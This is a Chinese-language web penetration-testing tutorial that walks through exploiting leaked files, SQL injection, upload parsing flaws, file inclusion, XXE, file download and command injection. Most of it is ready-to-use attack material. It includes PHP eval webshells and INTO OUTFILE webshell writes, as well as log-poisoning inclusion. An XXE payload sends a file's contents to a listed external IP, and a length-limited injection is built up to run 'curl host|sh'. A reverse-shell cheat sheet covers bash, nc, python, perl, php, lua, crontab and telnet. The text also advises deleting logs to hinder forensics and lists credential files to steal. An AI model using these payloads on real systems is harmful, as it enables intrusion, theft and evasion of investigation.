WEB渗透测试之漏洞挖掘

漏洞:通常情况下不影响软件的正常功能,但如果被攻击者利用,有可能驱使软件去执行一些额外的恶意代码,从而引发严重的后果。最常见的漏洞有缓冲区溢出漏洞、整数溢出漏洞、指针覆盖漏洞等。

传统WEB查找利用阶段

1.敏感目录文件扫描

1.查找目标各类web入口

普通网站后台,其他web控制台,碰到任何入口的第一反应就是顺手测试弱口令如果没有结果记录下来可以进行爆破,没有验证码的可以尝试爆破。限制登陆次数尝试伪造IP绕过。

2.各类敏感文件泄露

版本管理软件造成的泄露

.git/git 利用工具:GitHack 手动利用:

1
2
wget -r --no-parent --mirror http://www.example.com/.git
cd www.example.com && git reset --hard

.hg/Mercurial 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):

1
2
wget -r --no-parent --mirror http://www.example.com/.hg
cd www.example.com && hg revert

.svn/Subversion 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):

1
2
wget -r --no-parent --mirror http://www.example.com/.svn
cd www.example.com && svn revert --recursive .

.bzr/Bazaar 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):

1
2
wget -r --no-parent --mirror http://www.example.com/.bzr
cd www.example.com && bzr revert

CVS 可以利用工具:dvcs-ripper 也可以手动利用(下载+回滚):

1
2
wget -r --no-parent --mirror http://www.example.com/CVS
cd www.example.com && cvs diff *
文件包含导致的泄露

.DS_Store文件泄露 (Desktop Services Store)

是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.

利用工具:ds_store_exp

WEB-INF泄露

在Java的Servlet 文档中,说到WEB-INF目录”包含了所有web应用会用到但是不处于web路径中的资源”, 也就是说, WEB-INF目录下的内容是不属于公开页面的.
web应用可以通过getResource等API在servlet的上下文中访问到这些资源.
通常开发者会把许多JSP文件,Jar包,Java的类文件放在该目录下. 一般目录的内容都是可以预测的:

1
2
3
4
5
WEB-INF/web.xml : Web应用程序配置文件, 描述了servlet和其他的应用组件配置及命名规则.
WEB-INF/database.properties : 数据库配置文件
WEB-INF/classes/ : 一般用来存放Java类文件(.class)
WEB-INF/lib/ : 用来存放打包好的库(.jar)
WEB-INF/src/ : 用来放源代码(.asp和.php等)

利用方式:通过web.xml文件推测应用组件相关类的名字, 然后在src目录下查找代码, 如果没有源代码可以直接下载class文件反编译即可.

备份文件泄露

备份文件泄露又分为两种情况, 一种是运维人员偷懒地直接在网站根目录用类似tar -czvf bakup.tgz的命令将网站进行备份,这样整站的源代码都能直接被用户打包下载了;
另一种是开发或者运维人员使用的编辑器修改文件时自动备份了所编辑的网页内容,
如vim的.swp, 从而泄露了该网页的源代码.

利用方法:对于打包文件而言, 渗透测试人员可以用{常用文件名}+{常用压缩包后缀}的方式扫描网站, 说不定会有意外惊喜.
对于网页的临时备份文件, 可以扫描对应页面的.swp或者.bak等后缀, 说不定也能找到有用的信息.

配置文件泄露
现代WEB开发往往不会重新造轮子, 而是基于成熟的框架进行配置, 如果渗透测试人员知道该网站是基于什么类型的框架,
就可能通过该框架的文档获得重要配置文件的路径, 如果是开源框架, 同时也能获得源代码, 因此配置文件泄露的严重性也是不言而喻的.

利用方法:通过识别网站指纹得知其框架类型, 然后手工测试重要的配置文件是否可以获取. 如果是批量测试, 则可以事先准备好常见的配置文件路径, 如wordpress的/wp-config.php等, 组织成字典然后用脚本进行批量测试. 可以参考猪猪侠的字典.

配置错误导致的泄露

Windows IIS / Apache 目录穿越

目录穿越漏洞原理比较简单, 程序在实现上没有充分过滤用户输入的../之类的目录跳转符, 导致恶意用户可以访问web根目录的上级从而遍历服务器上的任意文件.

Nginx配置安全

1
2
3
location /file {
alias /home;
}

例如这样配置 访问 url/file 会正常显示服务器上/home的文件,但是访问url/file../ 就会出现 /home/../访问到服务器的根目录造成目录穿越

2.SQL注入

首先确认数据库的用户权限

1.可以注入的一些部分

GET注入在url中

在POST注入

在HTTP头部注入 例如:cookie Referer user-agent X-Forwarded-For 等等

二次注入,宽字节注入,ajax/json注入,nosql注入,用来对付为静态的中转注入 等等

2.管理员权限

尝试直接写webshell

日志写

1
2
3
4
5
1.show variables like ‘%general%'; #查看配置
2.set global general_log = on; #开启general log模式
3.set global general_log_file = ‘/var/www/html/melon.php'; #设置日志目录为shell地址
4.select ‘<?php eval($_POST[melon]);?>’ #写入shell
不成功的案例,如果mysql 被降权,是无法写入到其他的站点目录的,除非你的目标目录是可以写入的。

正常sql写

1
2
3
4
通过SQL注入select into outfile实现,如:
1' union select 1,'<?php eval($_POST[melon]);?>' INTO OUTFILE '/var/www/tmp/nb.php'#
2.如果过过滤了union select可以使用:
LIMIT 0,1 INTO OUTFILE '这里是路径' LINES TERMINATED BY '这里是你想写的内容'--

sqlmap写shell

1
2
3
4
5
6
--os-cmd="net user"
交互式命令执行,注意在使用交互式方式时需要知道网站的绝对路径,执行成功之后在绝对路径下创建文件返回结果,然后再自动删除。

--os-shell
写webshell,会生成两个文件,tmpbshrd.php和tmpucnll.php,分别为命令执行和文件上传webshell。
注意:关闭sqlmap文件就会被删除。

本地写入webshell

1
2
先在sqlmap的目录创建mst目录,然后在该目录中创建mst.txt,内容为一句话木马,之后需要两个参数即本地文件地址和目标文件地址,--file-write "./mst/mst.txt" --file-dest "网站的绝对路径/melon.php"。
注意需要最高权限。

尝试执行系统命令

反弹shell,cmd

尝试读取数据库配置文件中的账号密码

3.普通数据库权限

查询网站管理账号密码,搜集会员账号密码数据,尝试万能密码bypass登陆 等等

3.上传

1.各个web中间件解析漏洞

IIS 5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)

案例:www.xxx.com/xx.asp/xx.jpg

原理:服务器默认会把.asp,.asa目录下的文件全部解析乘asp文件

文件解析

案例:www.xxx.com/xx.asp;,jpg

原理:服务默认不解析分号之后的内容,因此xx.asp;,jpg便被解析成了asp文件

解析文件类型

IIS6.0默认的可执行文件除了asp还包含这三种:

1
/xxx.asa /xxx.cer /xxx.cdx
Apache解析漏洞

案例:www.xxx.com/xxx.php.aaa.rar

原理:Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 xxx.php.aaa.rar “.aaa”和”.rar” 这两种后缀是Apache不可识别解析,Apache就会把xxx.php.aaa.rar解析成php。

CVE-2017-15715

罕见后缀

1
2
3
4
5
6
7
root@xxx:~$ cat /etc/mime.types | grep php
#application/x-httpd-php phtml pht php
#application/x-httpd-php-source phps
#application/x-httpd-php3 php3
#application/x-httpd-php3-preprocessed php3p
#application/x-httpd-php4 php4
#application/x-httpd-php5 php5
Nginx解析漏洞

原理:Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/test.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/test.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而test.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

案例:

1
2
3
www.xxxx.com/UploadFiles/image/melon.jpg/melon.php
www.xxxx.com/UploadFiles/image/melon.jpg%00.php
www.xxxx.com/UploadFiles/image/melon.jpg/%20\melon.php

2.bypass 上传检测

黑名单,白名单可配合解析漏洞,截断,.htaccess,配合本地包含一起利用。

补:截断:%00

3.各类编辑器利用

FCKeditor编辑器,EWEbeditor,CKFinder,南方数据编辑器southidceditor,UEDITOE,DotNetTextBox,PHPWEB网站管理系统后台Kedit编辑器,Cute Editor 在线编辑器本地包含漏洞 等等

4.未授权访问

前端验证绕过,直接访问[ajax],验证有死角没有验证全部页面 等等

5.文件包含

本地包含(LFI),远程包含(RFI),远程文件包含需要在php.ini中开启 allow_url_fopen=on、allow_url_include=on(默认是关闭的 )。

文件包含的本质其实和C语言中预处理指令一样。那么这句话等价替换就是 <?php <?php phpinfo()?> ?>其实不然,如果替换成这样,后面的?>会被页面打印出来,正确的是它是将文件中<?php ?> 去除,将剩余的内容进行替换,那这样的话再利用的时候不用考虑文件包含的文件类型是什么,只需要考虑文件之中是否有我们所需要的一句话木马就可以了。

涉及的函数

1
2
3
4
5
6
7
8
include()
使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。
inclue_once()
功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
require()
使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。
require_once()
功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。

测试

melon.txt代码为 <?php eval($_REQUEST['melon']);?>

melon.php代码为 <?php include($_REQUEST['file']);?>

利用:www.xxx.com/melon.php?file=melon.txt&melon=system('ls');

防止混淆:目录遍历:如果没有文件包含漏洞,仅仅通过在url栏中操作,不论你如何../../../回退,都无法跳出服务器的公开目录,也是就说,你只能请求公开目录中的文件。但是如果有文件包含漏洞,那么我们可以通过传参,../../../../../一直退到服务器的根目录,从而能够目录遍历,即访问服务器上任何一个文件夹中的任何一个文件,不论这个目录是公开目录还是非公开目录。

利用本地包含配合数据库获取shell的一种思路

数据库储存表会将表存在相应的文件中。也就说假如我们将某个表的某个字段名,命名为<?php eval($_GET['melon']);?>,那么这句话就会被写入到对应的.frm文件中去。

在本地创建melon.php文件代码为 <?php include($_REQUEST['file']);?>

创建数据库->创建表->创建字段为<?php eval($_GET['melon']);?>

html

图中可以明确的看出一句话已经写进了文件了这时候只需要利用即可

http://www.xxx.com/melon.php?file=../../../../../../../phpStudy/PHPTutorial/MySQL/data/melon/test.frm&melon=phpinfo();

还有一个问题就是获取数据库的路径如果没有这一点我们是无法知道frm的位置的,如果有sql注入我们可以通过SELECT @@datadir来获取data文件夹绝对路径然后拼接上我们的 数据库名/表名.frm 就可以了。

利用本地包含配合Apache获取shell的一种思路

使用burp对目标站抓包 修改User-Agent: <?php include($_REQUEST['file']);?>

此时查看Apache日志:

html

利用:http://url/file.php?file=/var/log/apache2/access.log?melon=phpinfo();

利用本地包含配合ssh获取shell的思路

首先ssh的登陆日志放在了/var/log/auth.log

我们让用户名等于php一句话<?php @eval($_GET('melon'));?>

然后查看ssh的日志 利用包含实现getshell

html

html

php伪协议

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

1
2
3
php://filter在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

http://url/file.php?file=php://filter/read=convert.base64-encode/resource=./file.php

html

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

1
2
allow_url_fopen :off/on
allow_url_include:on

http://localhost:8888/file.php?file=php://input 同时POST <?php phpinfo();?>

html

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

1
2
3
zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

zip:// 协议

使用方法:zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

在get请求中#会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

http://127.0.0.1:8888/file.php?file=zip://D:/PHPstudy/PHPTutorial/WWW/CRMEB-master/melon.zip%23file.txt

html

bzip2:// 协议

使用方法:http://127.0.0.1:8888/file.php?file=compress.bzip2://./melon.bz2

html

zlib:// 协议

使用方法:http://127.0.0.1:8888/file.php?file=compress.zlib://./melon.gz

html

data://协议

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

1
2
3
data://协议必须双在on才能正常使用;
allow_url_fopen :on
allow_url_include:on

使用方法:

1
2
http://127.0.0.1:8888/file.php?file=data://text/plain,<?php phpinfo()?>
http://127.0.0.1:8888/file.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

html

6.任意文件读取

XXE(有回显)

PHP代码:

1
2
3
4
5
6
7
8
9
xxe.php文件
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>

对xxe.php发起请求 POST中发送xml数据

1
2
3
4
5
//因为本地测试用的是windows 所以就读取system.ini为例
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE creds [
<!ENTITY melon SYSTEM "file:///c:/windows/system.ini"> ]>
<creds>&melon;</creds>

html

可以看到响应头获取到了文件的数据

XXE(无回显)

PHP代码:

1
2
3
4
5
6
7
xxes.php文件
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>

对xxe.php发起请求 POST中发送xml数据

1
2
3
4
5
6
//因为本地测试用的是windows 所以就读取system.ini为例
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "file:///D:/PHPstudy/PHPTutorial/WWW/CRMEB-master/melon.txt">
<!ENTITY % dtd SYSTEM "http://47.9x.xx.xx/xxe.dtd">
%dtd;]>
<name>&send;</name>

远端服务器存放的dtd代码:

1
2
3
<?xml version="1.0" encoding="UTF-8"?> 
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.93.12.104:7777/?%file;'>">
%all;

html

此时xml是执行的但是没有回显出来,我们看一下服务器端。

服务器端采用的nc监听端口

html

html

我们来说一下外部调用实体化的流程:

1
2
3
4
5
6
7
//localhost为本地服务器 melon为远端服务器
1.localhost 解析了 XML,并将%dtd;求值为 melon 的服务器的外部调用。
2.melon 的服务器向 localhost 返回了xxe.dtd文件。
3.localhost 解析了收到的 DTD文件,它触发了%all;的调用。
4.当%all;求值时,它定义了&send;,它包含%file;实体的调用。
5.%file;在 URL 值中被替换为/etc/passwd文件的内容。
6.localhost 解析了 XML 文件,发现了&send;实体,它求值为 melon 服务器的远程调用,带有melon.txt的内容,作为 URL 中的参数。

7.任意文件下载

漏洞形成过程

首先漏洞源码如下:

1
2
3
4
5
6
7
8
//FileAcquisition.php
<?php
$filename = $_GET['filename'];
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>

html

html

跨目录下载:

html

html

说一下敏感文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//Windows下
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
C:\Windows\win.ini //Windows系统的一个基本系统配置文件

//Linux下
root/.ssh/authorized_keys ////如需登录到远程主机,需要到.ssh目录下,新建authorized_keys文件,并将id_rsa.pub内容复制进去
/root/.ssh/id_rsa //ssh私钥,ssh公钥是id_rsa.pub
/root/.ssh/id_ras.keystore //记录每个访问计算机用户的公钥
/root/.ssh/known_hosts //记录每个访问计算机用户的公钥
/etc/passwd
/etc/shadow //账户密码文件
/etc/my.cnf //mysql配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/root/.bash_history //用户历史命令记录文件
/root/.mysql_history //mysql历史命令记录文件
/proc/mounts //记录系统挂载设备
/porc/config.gz //内核配置文件
/var/lib/mlocate/mlocate.db //全文件路径
/porc/self/cmdline //当前进程的cmdline参数

补:大佬搜集的一部分linux的敏感文件路径

漏洞挖掘

可以用Google hack:inurl:"file.php?file=" inurl : readfile.php?file= inurl : download.php?file=

观察页面是否实现这种功能:

1
2
3
4
5
6
download.php?path=
download.php?file=
down.php?file=
data.php?file=
readfile.php?file=
read.php?filename=

观察链接参数名路径名:

1
2
3
4
5
6
7
8
9
&RealPath= &FilePath= &filepath= &Filepath= &Path= &path= &inputFile= &Inputfile= &url= &urls= &Lang= &dis= &data= &Data= &readfile= &filep= &src= &menu=

//java的重要路径
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件
漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接class文件,在通过反编译class文件,得到网站源码

Linux下一种思路:在linux中有这样一个命令 locate 是用来查找文件或目录的,它不搜索具体目录,而是搜索一个数据库/var/lib/mlocate/mlocate.db。这个数据库中含有本地所有文件信息。Linux系统自动创建这个数据库,并且每天自动更新一次。可以算是一个杀器吧。

html

8.远程代码或系统命令执行(RCE)

首先我们了解一下命令拼接符:

1
2
3
4
5
6
7
8
&&        第一个命令执行成功才会执行第二个命令否则不能继续执行
& 即使第一个command1没有执行成功,也会执行command2 执行成功则都执行
| 不管command1是否执行成功,都执行command2,不返回command1的结果 上一条命令的输出,作为下一条命令参数
|| 表示上一条命令执行失败后,才执行下一条命令
; 分号表示命令依次执行。

linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a(一个神奇的角色,作为.bat文件中的命令分隔符)

这里我们以DVWA为例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
$target = $_POST[ 'ip' ];
//下面判断系统
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}else {
// Unix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
echo "<pre>{$cmd}</pre>";
}
?>

html

空格绕过

Linux不能使用空格时的一些绕过 例:

1
2
echo$IFS"<?php system($_GET[x]);?>">shell.php  
//$IFS$9,${IFS},$IFS 都可以 $IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

html

1
{echo,'Melon'}>test.php

html

黑名单拼接绕过

a=l;b=s;$a$b

黑名单编码绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
base64:
echo "bWVsb24K"|base64 -d 其将会打印melon //echo "字符串" |base 则是直接加密
echo "Y2F0IC9mbGFn"|base64-d|bash //等同于 cat /flag

HEX:
echo "melon" | xxd
echo "636174202f666c6167" | xxd -r -p|bash

oct:
$(printf "\154\163") //ls
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") //cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0 //cat /flag
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

单引号和双引号绕过:
例:ca''t flag 或 ca""t flag

反斜杠绕过:
比如:ca\t fl\ag

利用Shell 特殊变量绕过:
//n 是一个数字,表示第几个参数。例如,第一个参数是1,第二个参数是2。而参数不存在时其值为空。
ca$@t fla$@g
ca$1t fla$2g

长度限制绕过

1
2
3
4
5
需要用的知识点:
linux下可以用 >a 创建文件名为a的空文件 // >是覆盖 >>是追加 我们一行一行写肯定选择追加
ls -t>test则会将目录按时间排序后写进test文件中 //我们需要反着写也就是从构造好的payload的下面写到上面
sh命令可以从一个文件中读取命令来执行
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 "\",可以将一条命令写在多行

测试在文本里内容如下:

1
2
3
4
5
//melon.txt 真实的话文件名要改成 a 因为是绕长度限制
ec\
ho \
hello \
world!

执行:sh melon.txt

那怎样将内容输出到文本当中就是我们需要做的事

下面是我们的解决方案:

1
2
3
4
5
6
7
> "rld"
> "wo\\"
> "llo \\"
> "he\\"
> "echo \\"
ls -t > _
sh _

html

第一行显示找不到因为先创建 _ 文件再进行输出到_文件里。

这里使用了两个 \ 是因为我们需要转义掉多行命令的换行,如果我们只使用一个 \ 那么就会被误解为正在多行执行命令

这方面也有对应的CTF题目 源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL);
$sandbox = '/var/www/html/sandbox/'.md5("orange".$_SERVER['REMOTE_ADDR']);
mkdir($sandbox);
chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?>

哪可不可以利用这种方法反弹shell呢?当然是可以的具体操作如下:

1
2
bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1 //标准的反弹shell命令
>\ \\

这个时候我们遇到了两个个问题

其一:ls -t>_ 也就是当我们吧文件全部创建好按时间将文件名输入到a文件中时发现我们的命令是七个字符我们需要一个先把这条命令写出来才行

其二:执行命令需要空格 但是我们需要两个空格 相同的文件怎么可以创建两个呢 这时候可以用 curl url|sh 的方式 只需要再服务器上构建好payload就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
解决问题一
>ls\\ //创建 "ls\" 文件
ls>_ //将ls的排序写入"_"文件 此时文件内容为 "_ ls\"
>\ \\ //创建 " \"文件
>-t\\ //创建"-t\"文件
>\>y //创建">y"文件
// ls命令排序的规则是空格和符号最前,数字其次,字母最后
ls>>_ //将ls的排序追加到"_"文件
//ls排序结果如下:
" \" "_" "ls\" "-t\" ">y"
追加之后"_"的内容为:
_
ls\
\
_
ls\
-t\
>y
执行:sh _ 生成一个m文件
1
我们需要sh m 其中 m 中包含了 curl xx.xx.xx.xxx|sh

构造payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
>bash
>\|\\
>x\\
>xx\\
>x.\\
>xx\\
>x.\\
>xx\\
>x.\\
>xx\\
>\ \\
>rl\\
>cu\\
//这里有一个坑就是创建文件不能以 .开头 否则为隐藏文件ls -t读取的时候读不到 我也尝试构造"_"的时候添加-a参数来达到目的 但好像不可能的事情 或许也是我没想到 欢迎师傅们提出意见
//为什么我要说到这里 因为我服务器的IP正好构造的时候会出现同名文件 以点开头构造又没法绕过 用域名云空间Github或者ip的每位全是三位的都可以 方法还是很多的

利用:这时我们用”_”文件生成”y”文件 用y文件查看服务器反弹shell命令通过管道符执行命令 成功反弹shell

内联执行

命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。

例如:

1
echo "a`pwd`"

html

通配符

[…]表示匹配方括号之中的任意一个字符。 比如[aeiou]可以匹配五个元音字母,[a-z]`匹配任意小写字母。
{…}表示匹配大括号里面的所有模式,模式之间使用逗号分隔。

{...}[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

测试如下:

html

html

反弹shell

bash方式

1
$ bash -c "sh >& /dev/tcp/your ip/port 0>&1"

exec方式

1
2
$ exec 5<>/dev/tcp/ip/port
$ cat <&5 | while read line; do $line 2>&5 >&5; done

nc方式

1
2
3
4
本机运行:
nc -l -vv -p port
目标主机:
nc -e /bin/bash ip port

python方式

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
1
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('ip',port))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Perl

1
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

1
php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");'

Lua

1
2
lua -e "require('socket');require('os');t=socket.tcp();t:connect('ip','port');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#需要lua socket支持,且lua5.2+不支持luasocket

crontab

1
2
3
4
5
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是 /var/spool/cron/ 目录,ubuntu是
/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。

SHELL=/bin/bash
* * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1

telnet

1
mknod backpipe p && telnet ip port 0<backpipe | /bin/bash 1>backpipe

linux中直接查看文件内容的工具

cat、tac、more、less、head、tail、nl、sed、sort、uniq

9.其他的一些注入问题

soap注入 邮件头注入 ldap注入 xpath注入 xml实体注入

10.手工分析HTTP请求

Burpsuite Fiddler Wireshark Tcpdump

11.防护不严格的情况下直接用漏扫

Burp WebcruiserWVS Awvs Netsparker Appcsan Owasp_zap Vega Nessus Openvas Nmap的漏洞检测脚本 Wpscan

关于WAF对抗

Bypass waf分布式扫描 Bypass waf进行注入 Bypass waf进行上传 Bypass waf脚本执行代码 Webshell免杀 Webshell 隐藏

各类WEB访问日志的处理 对于WEB日志,直接删掉,主要是带有敏感特征请求的删掉,加大溯源难度。

提权

1.提权信息收集

1.当前机器具体跑了哪些我们可与i直接利用到的服务端口

2.尽可能找到目标机的所有账号密码:数据库 VPN FTP 其他第三方工具各种密码hash或明文。

3.当前系统装的什么杀软,防护套装是什么,有什么样的限制策略。

4.装了哪些可以利用的第三方工具

5.特殊权限的查找入suid

2.溢出exp

win linux exp免杀

3.各类数据库提权

mysql mssql oracle

4.其他的非主流提权法

5.dump数据 打包文件 权限维持 处理痕迹(日志)